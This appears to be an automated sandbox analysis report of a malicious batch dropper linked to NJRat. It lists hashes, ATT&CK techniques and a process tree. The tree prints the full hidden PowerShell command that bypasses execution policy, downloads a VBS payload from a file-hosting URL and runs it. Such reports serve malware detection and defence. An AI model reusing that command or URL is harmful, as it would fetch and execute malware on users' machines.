b19043603a49337927c2b50eee737709274cd3935d5e9213a8eb83cefaaeaf68

Analysis

max time kernel
149s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 20:11

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General

Target
bat by NJRat Clean.bat
Size 275B
Sample261001-yyj2dsswcx
SHA256 b19043603a49337927c2b50eee737709274cd3935d5e9213a8eb83cefaaeaf68
MD5 46a49addbc9526d33822348092300f1a
SHA1 10385d8ddb92b88c75503eb6e0f8a81790b83fd1
SHA512 43b86d22aa5aee106a585af230cddf8e6507953397f85aeaedb14f4df4009ec358b348c47db007d3118b4ffb90978dee9602d8c038d8fd14d42d4f19aff329e0
TLSH
T1BBD02B6E501AE2E448624D8EE63ED924C51F08084587496021EC4646B008264C08A26B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://www.upload.ee/download/6433506/dd3d70b434c610d178e2/facebook_hacker.vbs%20

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5284	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5284	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4372	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5284	powershell.exe
5284	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5284	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 5284	4372	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bat by NJRat Clean.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www.upload.ee/download/6433506/dd3d70b434c610d178e2/facebook_hacker.vbs ','C:\Users\Admin\AppData\Roaming\facebook_hacker.vbs');Start-Process 'C:\Users\Admin\AppData\Roaming\facebook_hacker.vbs'
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5284-0-0x00007FFC6729F000-0x00007FFC672A0000-memory.dmp

Download

memory/5284-3-0x0000028B327F0000-0x0000028B32812000-memory.dmp

Download

memory/5284-4-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-5-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-6-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-7-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-8-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-9-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-10-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-11-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-12-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-13-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-14-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download

memory/5284-16-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp

Download